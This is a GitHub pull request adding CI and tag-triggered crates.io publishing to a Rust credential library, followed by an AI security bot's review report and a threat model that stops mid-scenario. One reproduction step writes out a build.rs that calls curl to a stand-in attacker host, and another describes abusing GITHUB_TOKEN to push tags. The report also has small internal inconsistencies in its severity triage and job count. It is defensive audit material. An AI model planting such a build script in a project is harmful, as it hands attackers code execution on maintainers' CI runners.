Skip to content

ci: add checks and a release path - #17

Merged
stormer78 merged 2 commits into
mainfrom
ci/workflows
Sep 2, 2026
Merged

ci: add checks and a release path#17
stormer78 merged 2 commits into
mainfrom
ci/workflows

Conversation

@stormer78

Copy link
Copy Markdown
Contributor

This repository had no .github directory. Two releases' worth of a credential library — including authority::verify_chain, which is the part that decides whether a holder acquired authority they were never granted — merged on local runs alone, and every version on crates.io got there by someone running cargo publish from a laptop.

That is not a hypothetical cost. 0.6.0 has been merged and unreleased since the day it landed, because nothing turns a merge into a published crate. The data-rooms work in verifiable-trust-infrastructure needs authority::verify_chain and cannot compile against it; that workspace deliberately has no [patch.crates-io], and vti-rooms publishes, so a git dependency is not an option either. This is the actual gate on that track.

What this adds

ci.yml — fmt, clippy (-D warnings), tests, MSRV (1.95.0), and cargo package --locked. The last one because a crate that cannot be packaged cannot be released, and finding that out at tag time means the tag is already wrong.

publish.yml — publishes on a vX.Y.Z tag push.

  • The trigger is the tag push, not release: published: a Release created with the default GITHUB_TOKEN does not cascade-trigger other workflows, so that handler would silently never fire.
  • Auth is crates.io Trusted Publishing (OIDC), so no long-lived token lives in this repo. It needs one manual step, written into the workflow header — on crates.io, under the crate's Settings → Trusted Publishing, add owner OpenVTC, repository dtg-credentials, workflow publish.yml. Until that exists the job fails at the auth step naming exactly this.
  • It checks the tag against Cargo.toml before doing anything. The two disagree exactly once — when someone tags before the version bump lands — and the result is a release number that means nothing.
  • It skips a version already on crates.io, so a tag re-pushed after a failed run recovers instead of dying on crate version already uploaded, which would otherwise force a version bump nothing needed.

What CI found on its first run

The --no-default-features job failed. Both examples call .sign(), which lives behind affinidi-signing, so a consumer who disables default features got a missing-method error naming the method rather than the disabled backend. They now declare required-features. The library and its tests were always fine — 53 of the 58 tests run without the signing backend.

Releasing 0.6.0 after this merges

  1. Configure Trusted Publishing on crates.io (once, as above).
  2. git tag v0.6.0 && git push origin v0.6.0.

Cargo.toml already reads 0.6.0 and the changelog section is already written, so nothing else is needed.

This repository had no .github directory. Two releases' worth of a
credential library merged on local runs alone, and every version on
crates.io got there by someone running cargo publish from a laptop.

That is not hypothetical cost. 0.6.0 - the release carrying the VAC and
VDC - has been merged and unreleased since the day it landed, because
there was no path that turned a merge into a published crate. The
data-rooms work in verifiable-trust-infrastructure needs
authority::verify_chain and cannot compile against it, and the workspace
there deliberately has no [patch.crates-io], so a git dependency is not
an option either. A tag is now the release.

ci.yml runs fmt, clippy (-D warnings), tests, the MSRV check, and
cargo package --locked - the last because a crate that cannot be
packaged cannot be released, and learning that at tag time means the tag
is already wrong.

publish.yml goes on a vX.Y.Z tag push rather than release: published,
because a Release created with the default GITHUB_TOKEN does not
cascade-trigger other workflows and that handler would silently never
fire. Auth is crates.io Trusted Publishing, so no long-lived token lives
here; the one-time crates.io setup is written into the workflow header,
and until it exists the job fails at the auth step naming exactly that.
It checks the tag against Cargo.toml first - the two disagree exactly
once, when someone tags before the bump lands, and the result is a
release number that means nothing - and skips a version already on
crates.io so a re-pushed tag recovers instead of dying on 'already
uploaded'.

The no-default-features job found a real break on its first run: both
examples call .sign(), which lives behind affinidi-signing, so a
consumer disabling default features hit a missing-method error naming
the method rather than the feature. They now declare required-features.
The library and its tests were always fine - 53 of the 58 tests run
without the backend.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
@stormer78
stormer78 requested a review from a team as a code owner September 2, 2026 07:49
The first CI run failed three jobs on 'failed to run custom build command
for libdbus-sys'. affinidi-tdk is a dev-dependency and reaches the OS
keyring, which links dbus and pcsclite; the GitHub runner image carries
neither header.

It bites exactly the three jobs that build dev-dependencies - clippy
--all-targets, and the two test jobs. cargo check and cargo package do
not build them and stay lean without the install step.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
@stormer78
stormer78 merged commit bce6893 into main Sep 2, 2026
7 checks passed
@stormer78
stormer78 deleted the ci/workflows branch September 2, 2026 08:00
@affinidi-appsecurity-bot

affinidi-appsecurity-bot commented Sep 2, 2026

Copy link
Copy Markdown

🛡️ AI Agentic Security Code Review

4 AI-confirmed issues, 1 finding needs a human to review/validate.

Mandatory to check: 🔒 Security Code Review Report

Details

🛡️ Security Code Review Report — PR #17

Field Value
Repository OpenVTC/dtg-credentials
Branch ci/workflowsmain
Validated 2026-09-05
Scan ID 49957727
Validator AI Security Validation Agent

🗺️ Scan Coverage

Modules scanned: 2 · with findings: 1 · files: 4 · findings: 7

Module Files scanned Findings
.github 2 7
(root) 2 0

Executive Summary

Category Confirmed Must-Review-By-Human
Security Issues 4 1

⚠️ 1 finding(s) need human review. These could not be conclusively confirmed or dismissed automatically (insufficient evidence). They are not dismissed — a developer / security team member must read and decide.


🔒 Security Issues

Confirmed Vulnerabilities (4)

🟡 pull_request trigger permits untrusted fork code execution during cargo clippy/test

Field Detail
Severity MEDIUM
Location .github/workflows/ci.yml:9
Finding ID github_pr-67867cabc051
CWE CWE-829, CWE-284
OWASP A08:2021 - Software and Data Integrity Failures
MITRE ATT&CK T1195.001 - Supply Chain Compromise
CAPEC CAPEC-242, CAPEC-98
CVSS 4.0 7 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N)
DREAD 7
Reachability 🔴 Reachable
Exploit Maturity poc
Detection Source skill_scan

🧠 AI Triage:

  • Severity reassessed: HIGH → MEDIUM — While reachability and exploitability of the underlying execution primitive are well-evidenced (reachable=true, auth_barrier=none, network_exposure=public, well-documented attack pattern), the severity gates require Environment≥8 (confirmed production/staging exposure) for HIGH, which is not met — environment is explicitly 'unknown' and repo-level settings (branch protection, first-time-contributor approval, org token defaults) that determine real exploitability of secrets/credentials are not visible in this dataset. GitHub's default pull_request token scoping is read-only, meaningfully capping blast radius unless those repo-level settings are misconfigured. Business impact is explicitly rated medium by the scanner (a stepping stone, not the direct high-value target). No CVE/EPSS/CISA KEV data exists (not applicable — this is a first-party workflow misconfiguration), and exploit maturity is scanner-inferred 'poc' from code complexity analysis rather than a confirmed working exploit against this repo. These gaps place it at MEDIUM: real and fixable, but not clearly meeting the HIGH bar without confirmed elevated environment/permissions exposure.
  • Composite score: 4.6
  • Environment: unknown

Summary: The ci.yml workflow triggers on pull_request without contributor-approval gating, and its clippy/test jobs compile and execute PR-supplied Rust code (build scripts, proc-macros, tests) on shared runners.

📝 Description:

An external, unauthenticated contributor can achieve arbitrary code execution on GitHub-hosted CI infrastructure for dtg-credentials simply by opening a pull request, without any merge or maintainer action required for the workflow itself to run.

🧪 Proof of Concept:

No permissions: block limits token scope, and the pull_request trigger runs cargo commands that compile and execute any Rust code (build.rs, proc-macros, test binaries) contained in the PR diff, with no approval gate visible in this file.

on:
  push:
    branches: [main]
  pull_request:

env:
  CARGO_TERM_COLOR: always

jobs:
  clippy:
    name: Clippy
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      ...
      - run: cargo clippy --all-targets --all-features -- -D warnings

  test:
    ...
      - run: cargo test --all-features

Vulnerable lines: 1, 35

🔁 Reproduction Steps:

  1. Fork dtg-credentials.
  2. Add a build.rs to the crate root containing: fn main() { std::process::Command::new("curl").arg("https://attacker.example/x").spawn().ok(); }
  3. Open a pull request against main.
  4. Observe ci.yml's clippy/test jobs auto-run and execute build.rs during cargo clippy/cargo test, causing the runner to make an outbound request to the attacker's server.

🔎 Evidence: .github/workflows/ci.yml:9

on:
  push:
    branches: [main]
  pull_request:

💥 Impact:

Runner compromise could be used for cryptomining, network pivoting, or as a stepping stone (combined with STRIDE-3) to escalate into repository write access.

Confidentiality: medium — any secrets or GITHUB_TOKEN scope available to pull_request-triggered jobs could be probed/read · Integrity: high — arbitrary code execution on the CI runner · Availability: none

🧭 Reachability:

  • Network exposure: public
  • Auth barrier: none
  • Attack path: EP-001 (pull_request from external fork) → clippy/test jobs → cargo invocation compiles+executes attacker-authored build.rs/proc-macro/tests → arbitrary code execution on runner

⚖️ Triage Factors:

Factor Value
Fixable ✅ Yes
Exploitability medium
Business impact medium
Public exploit ⚠️ Available
Environment unknown

Attack scenario: An external contributor opens a PR containing a malicious build.rs or proc-macro; ci.yml's pull_request trigger compiles and runs it automatically, executing arbitrary code on the runner.

🔧 Remediation:

⚠️ AI-generated fix. Review, test in staging, and validate against your architecture before applying.

Add an explicit least-privilege permissions: contents: read block at workflow level (addresses STRIDE-3 too), set persist-credentials: false on checkout so no push-capable token is retained, and configure the repo setting 'Require approval for first-time contributors' so external fork PRs do not auto-run CI until a maintainer approves.

Vulnerable code:

on:
  push:
    branches: [main]
  pull_request:

Secure code:

on:
  push:
    branches: [main]
  pull_request:

permissions:
  contents: read

jobs:
  clippy:
    ...
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<sha>
        with:
          persist-credentials: false

Additional recommendations:

  • Use pull_request_target only with extreme care and never checkout the PR head with elevated permissions
  • Consider running untrusted-PR jobs in a job with zero secrets and no write permissions, separate from any deploy/publish path

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 90%
  • AI Validation Evidence: EVIDENCE FOUND: ci.yml lines 9-11: on:\n push:\n branches: [main]\n pull_request: with no restriction (no pull_request_target, no branch filter, no required-approval config). Jobs clippy and test run cargo clippy --all-targets --all-features -- -D warnings and cargo test --all-features, both of which compile/execute Rust code including build scripts and proc-macros. EVIDENCE NOT FOUND: no permissions: block restricting GITHUB_TOKEN (confirmed absent, see finding 81b0d50df40e),
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

🟡 Third-party GitHub Actions pinned by mutable tag, not immutable SHA

Field Detail
Severity MEDIUM
Location .github/workflows/publish.yml:13
Finding ID github_pr-51f3197fc758
CWE CWE-1357, CWE-829
OWASP A08:2021 - Software and Data Integrity Failures
MITRE ATT&CK T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools
CAPEC CAPEC-538, CAPEC-185
CVSS 4.0 7.5 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N)
DREAD 5.8
Reachability 🔴 Reachable
Exploit Maturity conceptual
Detection Source skill_scan

🧠 AI Triage:

  • Severity reassessed: HIGH → MEDIUM — While the attack scenario and business impact are compelling (supply-chain compromise of a credential-verification library's release pipeline), the exploit requires FIRST compromising an unrelated upstream Action — this repo has no direct exploitable flaw, only a hardening gap. Scanner explicitly rates direct exploitability as 'low' and confirms 'no public exploit targets this specific repo's configuration' (exploit maturity: conceptual, not PoC/functional/mature). Environment is unknown/unconfirmed as production (Env gate for High requires ≥8, not met). Per severity gates: HIGH requires Environment≥8 AND Reachability≥5 AND (Exploitability≥5 OR PublicExploit≥7). Exploitability is low here and the 'public exploit' evidence is about the attack CLASS generically (tj-actions precedent), not a working exploit against THIS configuration. This caps the finding at MEDIUM: real hardening gap, reachable, high potential business impact, but no confirmed exploit against this specific instance and no confirmed production designation.
  • Composite score: 4.5
  • Environment: unknown

Summary: CI/publish workflows reference third-party GitHub Actions by mutable version tags instead of immutable commit SHAs, exposing the OIDC-token-minting publish job to upstream tag-repoint or Action-repo-compromise attacks.

📝 Description:

An attacker who compromises any one of the four referenced Actions gains code execution in the crates.io publish pipeline for dtg-credentials and can exfiltrate the OIDC-derived publish token or directly invoke cargo publish with attacker content, shipping a malicious release of an authority/credential-verification library to all consumers.

🧪 Proof of Concept:

Every third-party action reference uses a mutable tag. Any of these tags being re-pointed (by upstream compromise) changes what code runs in a job that subsequently mints a crates.io publish token.

jobs:
  publish:
    name: Publish to crates.io
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7

      - uses: dtolnay/rust-toolchain@stable
...
      - name: Authenticate to crates.io
        uses: rust-lang/crates-io-auth-action@v1
        id: auth

Vulnerable lines: 13, 35

🔁 Reproduction Steps:

  1. Inspect .github/workflows/publish.yml and ci.yml — note all uses: lines reference @v7/@stable/@v2/@v1 tags, not SHAs.
  2. (Hypothetically) An attacker with control of one referenced Action repo pushes new code under the same tag.
  3. On the next tag push (vX.Y.Z) to dtg-credentials, publish.yml pulls the updated action and executes it with id-token: write scope.

🔎 Evidence: .github/workflows/publish.yml:13

- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
...
- uses: rust-lang/crates-io-auth-action@v1
  id: auth

💥 Impact:

Compromise of the publish pipeline would let an attacker ship a backdoored release of dtg-credentials, a credential/authority-verification library, to every downstream consumer via crates.io — a severe supply-chain event given the library's stated purpose (authority::verify_chain).

Confidentiality: high — OIDC-derived crates.io publishing credential could be exfiltrated · Integrity: high — malicious crate versions could be published under the legitimate name · Availability: none

🧭 Reachability:

  • Network exposure: public
  • Auth barrier: none
  • Attack path: EP-002 (tag push v*..) → publish job → rust-lang/crates-io-auth-action@v1 step → OIDC token mint → potential token exfiltration if action tag is compromised

⚖️ Triage Factors:

Factor Value
Fixable ✅ Yes
Exploitability low
Business impact high
Public exploit ⚠️ Available
Environment unknown

Attack scenario: An attacker compromises or re-tags one of the four unpinned Actions used in publish.yml, gaining code execution in a job that holds id-token: write, and exfiltrates the minted crates.io OIDC token to publish a malicious crate version.

🔧 Remediation:

⚠️ AI-generated fix. Review, test in staging, and validate against your architecture before applying.

Pin every third-party Action to a specific commit SHA (with a version comment for readability) so a tag re-point or upstream compromise cannot silently change the code executed in CI. Renovate/Dependabot can auto-update the SHA safely.

Vulnerable code:

- uses: actions/checkout@v7
- uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2
- uses: rust-lang/crates-io-auth-action@v1

Secure code:

- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: dtolnay/rust-toolchain@21dc36fb71dd22e3317045c0c31a3f4939dbb9fc # stable, pinned
- uses: Swatinem/rust-cache@82a92a6e8fbeee089604da2575dc567ae9ddeaab # v2.7.7
- uses: rust-lang/crates-io-auth-action@e919bc7605cde86df457cf5b6f406060d61335ac # v1.0.1

Additional recommendations:

  • Enable Dependabot 'github-actions' ecosystem updates
  • Restrict org-level Actions to an allow-list of vetted publishers
  • Add step-security/harden-runner for egress monitoring on the publish job

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 90%
  • AI Validation Evidence: EVIDENCE FOUND: publish.yml lines 34-41 show - uses: actions/checkout@v7, - uses: dtolnay/rust-toolchain@stable, and - name: Authenticate to crates.io\n uses: rust-lang/crates-io-auth-action@v1\n id: auth, all referenced by mutable tag rather than commit SHA. EVIDENCE NOT FOUND: no pinned SHA anywhere in either workflow file, no allow-list or actions/checkout with a hash. CHANGED VS PRE-EXISTING: publish.yml is a new/changed file per the complete changed-files context (this is a new CI/C
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

🔵 Missing explicit least-privilege permissions block in ci.yml

Field Detail
Severity LOW
Location .github/workflows/ci.yml:1
Finding ID github_pr-81b0d50df40e
CWE CWE-276, CWE-269
OWASP A01:2021 - Broken Access Control
MITRE ATT&CK T1548 - Abuse Elevation Control Mechanism
CAPEC CAPEC-122
CVSS 4.0 5.3 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)
DREAD 6.6
Reachability 🔴 Reachable
Exploit Maturity conceptual
Detection Source skill_scan

🧠 AI Triage:

  • Severity reassessed: MEDIUM → LOW — CWE-276/269 missing least-privilege permissions is a hardening gap, not directly exploitable — scanner confirms exploitability is 'low' and this only matters when chained with a separate code-execution vulnerability (VULN-002). No CVSS, no EPSS, no public exploit, exploit maturity is only 'conceptual'. Environment/default-token-scope is unconfirmed (external org setting). This does not meet HIGH criteria (no confirmed exploit ≠1%, no production confirmation with real impact) nor does it warrant downgrade to LOW since the code evidence proves the gap exists, reachability is scanner-confirmed true, and the fix is trivial and clearly recommended. Medium is the accurate calibration.
  • Composite score: 3.9
  • Environment: unknown

Summary: ci.yml has no explicit permissions: block, meaning the GITHUB_TOKEN's scope in every job defaults to whatever the repository/organization has configured, which may be broader than the read-only access CI jobs actually need.

📝 Description:

If the org/repo default GITHUB_TOKEN permission is read-write, any of the five ci.yml jobs (fmt, clippy, test, no-default-features, msrv, package) — including those triggered by untrusted fork PRs — could use that token to write to the repository (push commits, create tags/releases), which is otherwise unauthorized for an external contributor.

🧪 Proof of Concept:

No permissions: key appears anywhere in this file, so token scope is fully determined by external, unverified repository/org settings rather than being explicitly and defensively declared.

name: CI

on:
  push:
    branches: [main]
  pull_request:

env:
  CARGO_TERM_COLOR: always

jobs:
  fmt:
    name: Format
    runs-on: ubuntu-latest

Vulnerable lines: 1, 17

🔁 Reproduction Steps:

  1. Check repository/organization Settings > Actions > General > Workflow permissions.
  2. If set to 'Read and write permissions', any job in ci.yml (including PR-triggered ones) receives a write-scoped GITHUB_TOKEN by default.
  3. Combine with VULN-002's code-execution vector to demonstrate a job using curl -H "Authorization: token $GITHUB_TOKEN" ... to push a commit or create a tag.

🔎 Evidence: .github/workflows/ci.yml:1

name: CI

on:
  push:
    branches: [main]
  pull_request:

env:
  CARGO_TERM_COLOR: always

jobs:

💥 Impact:

Combined with VULN-002, this is the missing control that would let untrusted PR code escalate into pushing a malicious tag, directly enabling CHAIN-001 into the publish pipeline.

Confidentiality: low · Integrity: medium — potential unauthorized repository writes (commits, tags) if default token is write-scoped · Availability: none

🧭 Reachability:

  • Network exposure: internal
  • Auth barrier: basic
  • Attack path: EP-001 (pull_request) → job runs with default (possibly write-scoped) GITHUB_TOKEN → GitHub API write calls (push commit/tag) if default permissions are broad

⚖️ Triage Factors:

Factor Value
Fixable ✅ Yes
Exploitability low
Business impact low
Public exploit None known
Environment unknown

Attack scenario: Absent an explicit permissions block, code executing in a ci.yml job (including from an untrusted PR, per VULN-002) may inherit a write-scoped GITHUB_TOKEN and use it to push commits or tags.

🔧 Remediation:

⚠️ AI-generated fix. Review, test in staging, and validate against your architecture before applying.

Adding permissions: contents: read at the workflow level caps the default GITHUB_TOKEN to read-only for every job, closing the escalation path regardless of org-level defaults.

Vulnerable code:

name: CI

on:
  push:
    branches: [main]
  pull_request:

env:
  CARGO_TERM_COLOR: always

jobs:

Secure code:

name: CI

on:
  push:
    branches: [main]
  pull_request:

permissions:
  contents: read

env:
  CARGO_TERM_COLOR: always

jobs:

Additional recommendations:

  • Set organization-wide default workflow token permissions to read-only in GitHub org settings
  • Audit all existing workflows for missing permissions blocks

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 90%
  • AI Validation Evidence: EVIDENCE FOUND: ci.yml lines 1-17 (full file top) show no permissions: key anywhere before jobs: — the file goes straight from env:\n CARGO_TERM_COLOR: always to jobs: with no permissions block. Confirmed by re-reading the entire ci.yml content provided — no permissions: string appears anywhere in the file. EVIDENCE NOT FOUND: no explicit permissions: contents: read at top-level or per-job. CHANGED VS PRE-EXISTING: ci.yml is the new/changed workflow file introduced by this MR (per i
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

🟡 Tag-to-version string check provides no cryptographic provenance guarantee in publish.yml

Field Detail
Severity MEDIUM
Location .github/workflows/publish.yml:25
Finding ID github_pr-c129b2c0e256
CWE CWE-345, CWE-354
OWASP A08:2021 - Software and Data Integrity Failures
MITRE ATT&CK T1195 - Supply Chain Compromise
CAPEC CAPEC-694, CAPEC-98
CVSS 4.0 5.1 (CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N)
DREAD 5
Reachability 🔴 Reachable
Exploit Maturity theoretical
Detection Source skill_scan

🧠 AI Triage:

  • Triaged severity: MEDIUM
  • No CVSS vector is provided (first-party CI logic finding, not a dependency CVE), but the scanner's own composite factors — low exploitability (requires pre-existing push/tag access), no public exploit, theoretical exploit maturity, and medium business impact — are consistent with medium. It does not meet the 'high' gate because there's no confirmed direct remote exploit path from an unauthenticated position, and severity gates require Exploitability≥5 or PubExploit≥7, neither of which is met here (Exploitability=low, PubExploit=none).
  • Composite score: 4.3
  • Environment: unknown

Summary: publish.yml verifies only that the pushed Git tag's numeric suffix matches Cargo.toml's version string; it performs no cryptographic signature or commit-provenance verification, so a mutable or re-pointed tag with a matching version number is sufficient to trigger a real crates.io release.

📝 Description:

A malicious or re-pointed tag that happens to match Cargo.toml's version string would pass this check unnoticed and proceed straight to a real, OIDC-authenticated crates.io publish — there is no independent verification step to catch it.

🧪 Proof of Concept:

The check validates only that two strings are equal; it never verifies who created the tag, whether it is signed, or whether the commit it points to has been reviewed/merged through normal process.

- name: Tag must match the crate version
  if: startsWith(github.ref, 'refs/tags/v')
  run: |
    set -euo pipefail
    tag="${GITHUB_REF_NAME#v}"
    crate=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
    if [ "$tag" != "$crate" ]; then
      echo "::error::tag v${tag} does not match Cargo.toml version ${crate}"
      exit 1
    fi
    echo "publishing dtg-credentials ${crate}"

Vulnerable lines: 19, 33

🔁 Reproduction Steps:

  1. Obtain push/tag access to the repository (precondition — e.g. compromised credentials).
  2. Force-push tag v0.7.0 to point at a different, attacker-modified commit whose Cargo.toml also declares version = "0.7.0".
  3. GitHub Actions triggers publish.yml on the tag push.
  4. The 'Tag must match the crate version' step passes (string compare only) and the workflow proceeds to cargo publish --locked, publishing the attacker's commit content.

🔎 Evidence: .github/workflows/publish.yml:25

tag="${GITHUB_REF_NAME#v}"
crate=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
if [ "$tag" != "$crate" ]; then
  exit 1
fi

💥 Impact:

For a credential/authority library, a published version that does not correspond to reviewed source undermines the entire trust model consumers rely on when pinning a version.

Confidentiality: none · Integrity: high — unreviewed code could be published as a legitimate-looking release · Availability: none

🧭 Reachability:

  • Network exposure: public
  • Auth barrier: basic
  • Attack path: EP-002 (tag push v*..) → 'Tag must match the crate version' step (string compare only) → OIDC auth → cargo publish --locked

⚖️ Triage Factors:

Factor Value
Fixable ✅ Yes
Exploitability low
Business impact medium
Public exploit None known
Environment unknown

Attack scenario: Anyone able to push a tag matching v*.. with a Cargo.toml version match (whether via legitimate access, compromised credentials, or a re-pointed tag) can trigger a real crates.io publish with no signature or provenance verification.

🔧 Remediation:

⚠️ AI-generated fix. Review, test in staging, and validate against your architecture before applying.

Adding git verify-tag (or equivalent Sigstore/cosign verification) ensures the tag was created by a trusted, known key, not just that its name happens to match Cargo.toml — closing the gap where a mutable/re-pointed tag could trigger a publish without provenance guarantees. Complement with GitHub tag protection rules and a required-reviewers Environment gate on the publish job.

Vulnerable code:

tag="${GITHUB_REF_NAME#v}"
crate=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
if [ "$tag" != "$crate" ]; then
  exit 1
fi

Secure code:

# Require and verify a GPG/Sigstore-signed tag before publishing
git verify-tag "$GITHUB_REF_NAME" || { echo "::error::unsigned or unverifiable tag"; exit 1; }

tag="${GITHUB_REF_NAME#v}"
crate=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
if [ "$tag" != "$crate" ]; then
  echo "::error::tag v${tag} does not match Cargo.toml version ${crate}"
  exit 1
fi

Additional recommendations:

  • Enable GitHub 'Protected tags' for v*.. pattern
  • Add a GitHub Environment with required reviewers to the publish job
  • Record published commit SHA-to-version mapping in an append-only log for audit

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 90%
  • AI Validation Evidence: EVIDENCE FOUND: publish.yml lines 25-33: tag=\"${GITHUB_REF_NAME#v}\" / crate=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version') / if [ \"$tag\" != \"$crate\" ]; then ... exit 1; fi — this is purely a string comparison with no signature/GPG/Sigstore verification of the tag or commit. EVIDENCE NOT FOUND: no git verify-tag, no git verify-commit, no Sigstore/cosign step, no tag-protection configuration visible in-repo (tag protection is a GitHub setting not expr
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

⚠️ Must-Review-By-Human (1)

Validated up to a point, but inconclusive — a human must read the code and make the final call. Reported (not dismissed) so developers and the security team receive them.

🟡 Publish workflow trusts tag-triggered release without branch/reviewer restriction

Field Detail
Severity MEDIUM
Location .github/workflows/publish.yml:36
Finding ID github_pr-3650a98af6d0
CWE CWE-284
OWASP A01:2021 - Broken Access Control
Detection Source threat_model

🧠 AI Triage:

  • Triaged severity: MEDIUM
  • This requires an attacker to already have push/tag-creation access to the repository — it is not exploitable by an anonymous external actor. It is a real trust-boundary weakness (no environment protection, no branch restriction on tag-triggered publish with OIDC write) but the precondition of insider/compromised-account access, combined with no confirmed exploitation and no CVSS-quantifiable RCE/authbypass, keeps this at medium rather than high/critical.
  • Composite score: 4.3
  • Environment: unknown

📝 Description:

The publish workflow triggers on any push of a tag matching v*.. or manual workflow_dispatch, and grants id-token: write for crates.io trusted publishing, without restricting which actors/branches can create such tags.

🌱 Root Cause: Any repository collaborator with tag-push permission (or write access enabling workflow_dispatch) can trigger a real publish to crates.io; there is no environment protection rule, required reviewers, or branch restriction gating the job that holds publish credentials.

🔎 Evidence: .github/workflows/publish.yml:36

on:
  push:
    tags: ["v*.*.*"]
  workflow_dispatch:

permissions:
  id-token: write # OIDC token for crates.io Trusted Publishing
  contents: read

🎯 Attack Scenario:

A malicious or compromised collaborator with push access creates a tag on an arbitrary commit (e.g. a branch containing injected malicious code) matching vX.Y.Z, causing the workflow to build and publish that code to crates.io using the OIDC-derived publish token.

🔍 Validation Log

  • Verdict: ⚠️ Must-Review-By-Human
  • Confidence: 50%
  • AI Validation Evidence: EVIDENCE FOUND: publish.yml lines 18-24ish: on:\n push:\n tags: [\"v*.*.*\"]\n workflow_dispatch:\n\npermissions:\n id-token: write # OIDC token for crates.io Trusted Publishing\n contents: read — confirms any tag push matching the pattern triggers publish with id-token:write. EVIDENCE NOT FOUND: GitHub tag-protection rules and branch/collaborator permission settings are repo/org configuration not expressible in the YAML and not provided in source_files, so I cannot verify whether tag c
  • Validation Effort: This finding was validated up to a point, but the available evidence was insufficient for a conclusive automated verdict. A human (developer / security team) must manually review the code and decide. Not dismissed — treat as an open item pending human review.


Generated by Agentic Sec — AI Security Validation Agent
This report includes full scan data + AI validation evidence. Feed to engineering copilots for automated fix deployment.

Complementary: 🛡️ **Threat Model & Affect Analysis**
Details

🛡️ Threat Model & Affect Analysis — PR #17

Field Value
Repository OpenVTC/dtg-credentials
Branch ci/workflowsmain
Generated 2026-09-05

ℹ️ This report contains theoretical threats and impact analysis for the MR.
Unlike the Security Code Review Report (which contains confirmed, materialised issues),
these are potential risks that may or may not be exploitable. Use this for defence-in-depth planning.


📋 Affect Analysis

Change Summary

This PR introduces the repository's first automated CI pipeline (fmt, clippy, test, no-default-features, msrv, package) and a tag-triggered crates.io publish pipeline using OIDC Trusted Publishing, closing a previously-acknowledged gap where security-critical credential-verification code (authority::verify_chain) shipped across two releases validated only by local developer runs. It also fixes a Cargo.toml feature-gating bug on two examples that failed to build with --no-default-features.

Diff: +170 / -0 lines
Types: ci_cd, security_process, config, docs

⚠️ Security Implications

⚪ Introduction of mandatory CI gating for a previously unvalidated credential/authorization library

Introduction of mandatory CI gating for a previously unvalidated credential/authorization library

Action: Continue building on this foundation by adding dependency/vulnerability scanning (cargo-audit/cargo-deny) and extending the MSRV job to run tests, not just type-check.

🟠 pull_request trigger executes untrusted fork code without explicit least-privilege permissions or approval gate

pull_request trigger executes untrusted fork code without explicit least-privilege permissions or approval gate

Action: Add permissions: contents: read at the top of ci.yml; require manual approval for workflow runs from first-time/outside contributors; consider using ephemeral, secrets-free runners for PR-triggered jobs.

🧩 Affected Components

Component Impact Change What Changed
Continuous Integration Pipeline (new) high new Introduces six CI jobs (fmt, clippy, test, no-default-features, msrv, package) gating every push to main and every pull request, where none
Release/Publish Pipeline (new) critical new Introduces a tag-triggered (and manually-dispatchable) automated release pipeline that authenticates to crates.io via OIDC Trusted Publishin
Example Build Configuration low modified Two example binaries (sign_and_verify, data_room) now require the affinidi-signing feature to build, fixing a previously confusing build fai

📁 File Classifications

.github/workflows/ci.yml

  • Type: ci_cd

.github/workflows/publish.yml

  • Type: security

CHANGELOG.md

  • Type: docs

Cargo.toml

  • Type: config

🛡️ STRIDE Threat Model

Identified Threats (11)

🟠 STRIDE-1: Unpinned Third-Party Action Tags Enabling Supply Chain Compromise in ci.yml/publish.yml

Field Detail
Category Tampering, Elevation of Privilege
Severity High
Likelihood Possible
CVSS 7.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-1357,CWE-829
CAPEC CAPEC-538,CAPEC-185
OWASP A08:2021 - Software and Data Integrity Failures

Description: CI/CD workflows in COMP-002 and COMP-003 allow supply chain compromise due to third-party GitHub Actions (actions/checkout@v7, dtolnay/rust-toolchain@stable, Swatinem/rust-cache@v2, rust-lang/crates-io-auth-action@v1) being referenced by mutable tag/branch rather than immutable commit SHA, resulting in unauthorized code execution in CI with access to OIDC publishing credentials.

Evidence: .github/workflows/publish.yml:34-40

- uses: rust-lang/crates-io-auth-action@v1
  id: auth

Attack Scenario:

  1. Attacker compromises or takes over one of the referenced Actions repositories (e.g. rust-lang/crates-io-auth-action) or performs a tag-mutation/typosquat attack against dtolnay/rust-toolchain@stable or Swatinem/rust-cache@v2.
  2. Attacker pushes a malicious commit to the compromised action while keeping the same tag/branch reference (@v1, @stable, @v2, @v7) used in .github/workflows/ci.yml and .github/workflows/publish.yml.
  3. Next CI run on push:branches[main] or pull_request (EP-001) or the tag-triggered publish.yml (EP-002) automatically pulls the malicious action version.
